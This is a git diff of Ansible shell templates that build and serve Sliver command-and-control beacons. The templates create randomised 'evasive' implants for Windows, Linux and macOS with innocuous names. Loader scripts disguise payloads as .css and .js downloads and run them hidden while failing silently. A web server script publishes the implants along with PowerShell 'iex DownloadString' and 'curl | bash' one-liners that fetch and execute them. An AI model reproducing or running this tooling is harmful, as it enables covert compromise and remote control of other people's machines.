diff --git a/templates/generate_evasive_beacons.sh.j2 b/templates/generate_evasive_beacons.sh.j2 index 85fbe3e..570d296 100644 --- a/templates/generate_evasive_beacons.sh.j2 +++ b/templates/generate_evasive_beacons.sh.j2 @@ -4,9 +4,8 @@ # Configuration (automatically populated by Ansible) BEACONS_DIR="/opt/beacons" C2_HOST="{{ ansible_host }}" -REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}" +REDIRECTOR_HOST="cdn.{{ domain }}" REDIRECTOR_PORT="{{ redirector_port | default('443') }}" -TEMP_DIR=$(mktemp -d) # Ensure required directories exist mkdir -p $BEACONS_DIR/staged @@ -100,36 +99,63 @@ stager_win=$(random_output_name "windows") sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win" echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)" -# Create loader scripts with redirector integration -echo "#!/bin/bash -# Loader script for Linux beacon -curl -s https://$REDIRECTOR_HOST/static/css/linux.css -H \"Accept-Language: en-US,en;q=0.9\" -o /tmp/linux_update -chmod +x /tmp/linux_update -/tmp/linux_update &" > "$BEACONS_DIR/linux_loader.sh" -chmod +x "$BEACONS_DIR/linux_loader.sh" - -# Create PowerShell stager with improved OPSEC -cat > "$BEACONS_DIR/windows_loader.ps1" << EOF -# Windows PowerShell Beacon Loader -[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 -\$ErrorActionPreference = "SilentlyContinue" -\$wc = New-Object System.Net.WebClient -\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") -\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") -\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/") -\$url = "https://$REDIRECTOR_HOST/static/js/update.js" -\$outpath = "\$env:TEMP\\random-\$(New-Guid).exe" -try { - \$wc.DownloadFile(\$url, \$outpath) - Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) - Start-Process -WindowStyle Hidden -FilePath \$outpath -} catch { - # Fail silently +# Create a manifest file for the serve-beacons.sh script to use +cat > "$BEACONS_DIR/manifest.json" << EOF +{ + "windows_exe": "$win_output", + "windows_dll": "$dll_output", + "linux_binary": "$linux_output", + "macos_binary": "$mac_output", + "windows_stager": "staged/$stager_win", + "win_profile": "$win_profile", + "dll_profile": "$dll_profile", + "linux_profile": "$linux_profile", + "mac_profile": "$mac_profile", + "stager_profile": "$stager_profile", + "redirector_host": "$REDIRECTOR_HOST", + "redirector_port": "$REDIRECTOR_PORT", + "c2_host": "$C2_HOST", + "generated_date": "$(date)" } EOF +# Create loader scripts with redirector integration +cat > "$BEACONS_DIR/linux_loader.sh" << 'EOFLINUX' +#!/bin/bash +# Loader script for Linux beacon +curl -s https://REDIRECTOR_PLACEHOLDER/static/css/linux.css -H "Accept-Language: en-US,en;q=0.9" -o /tmp/linux_update +chmod +x /tmp/linux_update +/tmp/linux_update & +EOFLINUX + +# Replace placeholder with actual redirector host +sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/linux_loader.sh" +chmod +x "$BEACONS_DIR/linux_loader.sh" + +# Create PowerShell stager with improved OPSEC +cat > "$BEACONS_DIR/windows_loader.ps1" << 'EOFPS' +# Windows PowerShell Beacon Loader +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 +$ErrorActionPreference = "SilentlyContinue" +$wc = New-Object System.Net.WebClient +$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") +$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") +$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/") +$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js" +$outpath = "$env:TEMP\update-$(New-Guid).exe" +try { + $wc.DownloadFile($url, $outpath) + Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) + Start-Process -WindowStyle Hidden -FilePath $outpath +} catch { + # Fail silently +} +EOFPS + +# Replace placeholder with actual redirector host +sed -i "s/REDIRECTOR_PLACEHOLDER/$REDIRECTOR_HOST/g" "$BEACONS_DIR/windows_loader.ps1" + # Create index of generated files -echo "[+] Creating reference file with beacon details" cat > "$BEACONS_DIR/reference.txt" << EOF C2 Server Details: - C2 IP: $C2_HOST @@ -150,6 +176,5 @@ Usage: IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT EOF -# Cleanup temporary files -rm -rf $TEMP_DIR -echo "[+] Beacon generation with redirector integration complete" \ No newline at end of file +echo "[+] Beacon generation with redirector integration complete" +echo "[+] Run serve-beacons.sh to start serving these Sliver beacons" \ No newline at end of file diff --git a/templates/serve-beacons.sh.j2 b/templates/serve-beacons.sh.j2 new file mode 100644 index 0000000..183b7b2 --- /dev/null +++ b/templates/serve-beacons.sh.j2 @@ -0,0 +1,197 @@ +#!/bin/bash +# Script to serve Sliver beacons generated by generate_evasive_beacons.sh + +# Configuration +BEACONS_DIR="/opt/beacons" +C2_HOST="{{ ansible_host }}" +LISTEN_PORT=8443 + +# Check if manifest file exists (created by generate_evasive_beacons.sh) +if [ -f "$BEACONS_DIR/manifest.json" ]; then + echo "[+] Found beacon manifest file - using Sliver beacons generated previously" + # Extract beacon paths from manifest + WIN_EXE=$(jq -r '.windows_exe' "$BEACONS_DIR/manifest.json") + WIN_DLL=$(jq -r '.windows_dll' "$BEACONS_DIR/manifest.json") + LINUX_BIN=$(jq -r '.linux_binary' "$BEACONS_DIR/manifest.json") + MAC_BIN=$(jq -r '.macos_binary' "$BEACONS_DIR/manifest.json") + WIN_STAGER=$(jq -r '.windows_stager' "$BEACONS_DIR/manifest.json") + + # Print beacon info + echo "[+] Using these Sliver beacons:" + echo " - Windows EXE: $WIN_EXE" + echo " - Windows DLL: $WIN_DLL" + echo " - Linux Binary: $LINUX_BIN" + echo " - macOS Binary: $MAC_BIN" + echo " - Windows Stager: $WIN_STAGER" +else + echo "[!] No manifest file found. Please run generate_evasive_beacons.sh first." + echo "[!] Will search for beacons in $BEACONS_DIR..." + + # Try to find beacons directly + WIN_EXE=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.exe" ! -path "*/staged/*" | head -n 1) + WIN_DLL=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.dll" | head -n 1) + LINUX_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -type f -executable -not -path "*/\.*" ! -name "*.sh" ! -name "*.exe" ! -name "*.dll" | head -n 1) + MAC_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -name "*mac*" -o -name "*darwin*" | head -n 1) + WIN_STAGER=$(find "$BEACONS_DIR/staged" -name "*.exe" | head -n 1) + + # Check if we found any beacons + if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then + echo "[!] No Sliver beacons found. Please run generate_evasive_beacons.sh first." + exit 1 + fi +fi + +# Create temporary directory for web server +TEMP_DIR=$(mktemp -d) +mkdir -p $TEMP_DIR/downloads +mkdir -p $TEMP_DIR/scripts + +# Copy beacons to web directory with generic names +if [ -n "$WIN_EXE" ]; then + cp "$BEACONS_DIR/$WIN_EXE" $TEMP_DIR/downloads/update.exe + echo "[+] Serving Windows EXE: $WIN_EXE" +fi + +if [ -n "$WIN_DLL" ]; then + cp "$BEACONS_DIR/$WIN_DLL" $TEMP_DIR/downloads/module.dll + echo "[+] Serving Windows DLL: $WIN_DLL" +fi + +if [ -n "$LINUX_BIN" ]; then + cp "$BEACONS_DIR/$LINUX_BIN" $TEMP_DIR/downloads/update-linux + echo "[+] Serving Linux Binary: $LINUX_BIN" +fi + +if [ -n "$MAC_BIN" ]; then + cp "$BEACONS_DIR/$MAC_BIN" $TEMP_DIR/downloads/update-mac + echo "[+] Serving macOS Binary: $MAC_BIN" +fi + +if [ -n "$WIN_STAGER" ]; then + cp "$BEACONS_DIR/$WIN_STAGER" $TEMP_DIR/downloads/stager.exe + echo "[+] Serving Windows Stager: $WIN_STAGER" +fi + +# Copy loader scripts if they exist +if [ -f "$BEACONS_DIR/windows_loader.ps1" ]; then + cp "$BEACONS_DIR/windows_loader.ps1" $TEMP_DIR/scripts/ + echo "[+] Serving Windows PowerShell loader" +fi + +if [ -f "$BEACONS_DIR/linux_loader.sh" ]; then + cp "$BEACONS_DIR/linux_loader.sh" $TEMP_DIR/scripts/ + echo "[+] Serving Linux bash loader" +fi + +# Create additional PowerShell downloader script +cat > $TEMP_DIR/scripts/beacon.ps1 << 'EOFPS' +# PowerShell downloader for Sliver beacons +$ErrorActionPreference = 'SilentlyContinue' +[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 + +# Random temporary file +$tempFile = Join-Path $env:TEMP ("update-" + (New-Guid) + ".exe") + +# Download and execute +try { + $webClient = New-Object System.Net.WebClient + $webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + $webClient.DownloadFile("http://C2HOST:C2PORT/downloads/update.exe", $tempFile) + Start-Process -WindowStyle Hidden $tempFile + "Successfully downloaded and executed update." +} catch { + "Error during update process." +} +EOFPS + +# Replace placeholders +sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.ps1 +sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.ps1 + +# Create Linux bash download script +cat > $TEMP_DIR/scripts/beacon.sh << 'EOFSH' +#!/bin/bash +# Linux download and execute Sliver beacon + +# Download binary to /tmp with random name +TMPFILE="/tmp/update-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)" +curl -s -o $TMPFILE http://C2HOST:C2PORT/downloads/update-linux +chmod +x $TMPFILE + +# Execute in background +$TMPFILE & + +echo "Update complete." +EOFSH + +# Replace placeholders +sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.sh +sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.sh +chmod +x $TEMP_DIR/scripts/beacon.sh + +# Create helpful index page +cat > $TEMP_DIR/index.html << EOL + + + + Sliver Beacon Downloads + + + +

Sliver Beacon Downloads

+
+

Available Beacons

+ +
+
+

Auto-Download Scripts

+ +
+
+

Quick Commands

+

Windows PowerShell:

+ powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')" +

Linux Bash:

+ curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash +
+ + +EOL + +# Start Python HTTP server in background +cd $TEMP_DIR +nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 & +SERVER_PID=$! +echo "[+] Started Sliver beacon server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT" + +# Print useful information for the operator +echo "[+] Sliver beacons server is now running at http://$C2_HOST:$LISTEN_PORT/" +echo "[+] Available Sliver beacons:" +echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update.exe (Windows EXE)" +echo " - http://$C2_HOST:$LISTEN_PORT/downloads/module.dll (Windows DLL)" +echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update-linux (Linux Binary)" +echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update-mac (macOS Binary)" +echo " - http://$C2_HOST:$LISTEN_PORT/downloads/stager.exe (Windows Stager)" +echo "" +echo "[+] Quick PowerShell download command:" +echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')\"" +echo "" +echo "[+] Quick Linux download command:" +echo "curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash" \ No newline at end of file diff --git a/templates/serve_beacons.sh.j2 b/templates/serve_beacons.sh.j2 deleted file mode 100644 index dd7579a..0000000 --- a/templates/serve_beacons.sh.j2 +++ /dev/null @@ -1,155 +0,0 @@ -#!/bin/bash -# Corrected EDR-evasive beacon generator with templated redirector integration - -# Configuration (automatically populated by Ansible) -BEACONS_DIR="/opt/beacons" -C2_HOST="{{ ansible_host }}" -REDIRECTOR_HOST="cdn.{{ domain }}" -REDIRECTOR_PORT="{{ redirector_port | default('443') }}" -TEMP_DIR=$(mktemp -d) - -# Ensure required directories exist -mkdir -p $BEACONS_DIR/staged -mkdir -p $BEACONS_DIR/shellcode - -# Generate unique random values for each execution -random_string() { - cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1 -} - -# Create a new Sliver profile with redirector-compatible paths -create_profile() { - local type=$1 - local profile_name="profile-${type}-$(random_string 8)" - - # Use paths that match the redirector NGINX configuration - local http_path1="/ajax/$(random_string 8)" - local http_path2="/static/js/$(random_string 6).js" - - local interval=$(( 30 + RANDOM % 120 )) - local jitter=$(( 10 + RANDOM % 35 )) - - # Use sliver-client to create a new profile - echo "[+] Creating profile: $profile_name" - sliver-client profiles new --name "$profile_name" --http-c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --http-urls "$http_path1,$http_path2" --beacon-interval $interval --beacon-jitter $jitter - - echo $profile_name -} - -# Generate implant using existing profile -generate_implant() { - local profile_name=$1 - local os_type=$2 - local arch=$3 - local format=$4 - local output_name=$5 - - echo "[+] Generating $os_type $format implant with profile $profile_name" - sliver-client generate --profile $profile_name --os $os_type --arch $arch --format $format --save "$BEACONS_DIR/$output_name" -} - -# Random output filename generator -random_output_name() { - local type=$1 - local names=( - "update" "service" "client" "agent" "app" "system" - "monitor" "utility" "helper" "runtime" "driver" "module" - ) - local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)" - - case "$type" in - windows) echo "${name}.exe" ;; - windows_dll) echo "${name}.dll" ;; - linux) echo "${name}" ;; - darwin) echo "${name}" ;; - *) echo "${name}" ;; - esac -} - -echo "[+] Generating randomized, evasive beacons with redirector integration..." -echo "[+] Redirector host: $REDIRECTOR_HOST" -echo "[+] C2 host: $C2_HOST" - -# Windows EXE -win_profile=$(create_profile "windows") -win_output=$(random_output_name "windows") -generate_implant "$win_profile" "windows" "amd64" "exe" "$win_output" -echo "[+] Windows beacon: $BEACONS_DIR/$win_output (Profile: $win_profile)" - -# Windows DLL -dll_profile=$(create_profile "windows_dll") -dll_output=$(random_output_name "windows_dll") -generate_implant "$dll_profile" "windows" "amd64" "shared" "$dll_output" -echo "[+] Windows DLL: $BEACONS_DIR/$dll_output (Profile: $dll_profile)" - -# Linux binary -linux_profile=$(create_profile "linux") -linux_output=$(random_output_name "linux") -generate_implant "$linux_profile" "linux" "amd64" "shared" "$linux_output" -echo "[+] Linux binary: $BEACONS_DIR/$linux_output (Profile: $linux_profile)" - -# macOS binary -mac_profile=$(create_profile "darwin") -mac_output=$(random_output_name "darwin") -generate_implant "$mac_profile" "darwin" "amd64" "macho" "$mac_output" -echo "[+] macOS binary: $BEACONS_DIR/$mac_output (Profile: $mac_profile)" - -# Generate stagers -stager_profile=$(create_profile "stager") -stager_win=$(random_output_name "windows") -sliver-client generate stager --profile $stager_profile --os windows --arch amd64 --format exe --save "$BEACONS_DIR/staged/$stager_win" -echo "[+] Windows stager: $BEACONS_DIR/staged/$stager_win (Profile: $stager_profile)" - -# Create loader scripts with redirector integration -echo "#!/bin/bash -# Loader script for Linux beacon -curl -s https://$REDIRECTOR_HOST/static/css/linux.css -H \"Accept-Language: en-US,en;q=0.9\" -o /tmp/linux_update -chmod +x /tmp/linux_update -/tmp/linux_update &" > "$BEACONS_DIR/linux_loader.sh" -chmod +x "$BEACONS_DIR/linux_loader.sh" - -# Create PowerShell stager with improved OPSEC -cat > "$BEACONS_DIR/windows_loader.ps1" << EOF -# Windows PowerShell Beacon Loader -[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 -\$ErrorActionPreference = "SilentlyContinue" -\$wc = New-Object System.Net.WebClient -\$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36") -\$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9") -\$wc.Headers.Add("Referer", "https://$REDIRECTOR_HOST/") -\$url = "https://$REDIRECTOR_HOST/static/js/update.js" -\$outpath = "\$env:TEMP\\$(random_string 8).exe" -try { - \$wc.DownloadFile(\$url, \$outpath) - Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000) - Start-Process -WindowStyle Hidden -FilePath \$outpath -} catch { - # Fail silently -} -EOF - -# Create index of generated files -echo "[+] Creating reference file with beacon details" -cat > "$BEACONS_DIR/reference.txt" << EOF -C2 Server Details: -- C2 IP: $C2_HOST -- Redirector Domain: $REDIRECTOR_HOST - -Beacons Generated ($(date)): -- Windows EXE: $win_output (Profile: $win_profile) -- Windows DLL: $dll_output (Profile: $dll_profile) -- Linux Binary: $linux_output (Profile: $linux_profile) -- macOS Binary: $mac_output (Profile: $mac_profile) -- Windows Stager: staged/$stager_win (Profile: $stager_profile) - -Usage: -1. Ensure your redirector is properly configured to forward requests to the C2 server -2. Update DNS for $REDIRECTOR_HOST to point to your redirector IP -3. Test connectivity before deployment in target environment - -IMPORTANT: These beacons will connect to $REDIRECTOR_HOST on port $REDIRECTOR_PORT -EOF - -# Cleanup temporary files -rm -rf $TEMP_DIR -echo "[+] Beacon generation with redirector integration complete" \ No newline at end of file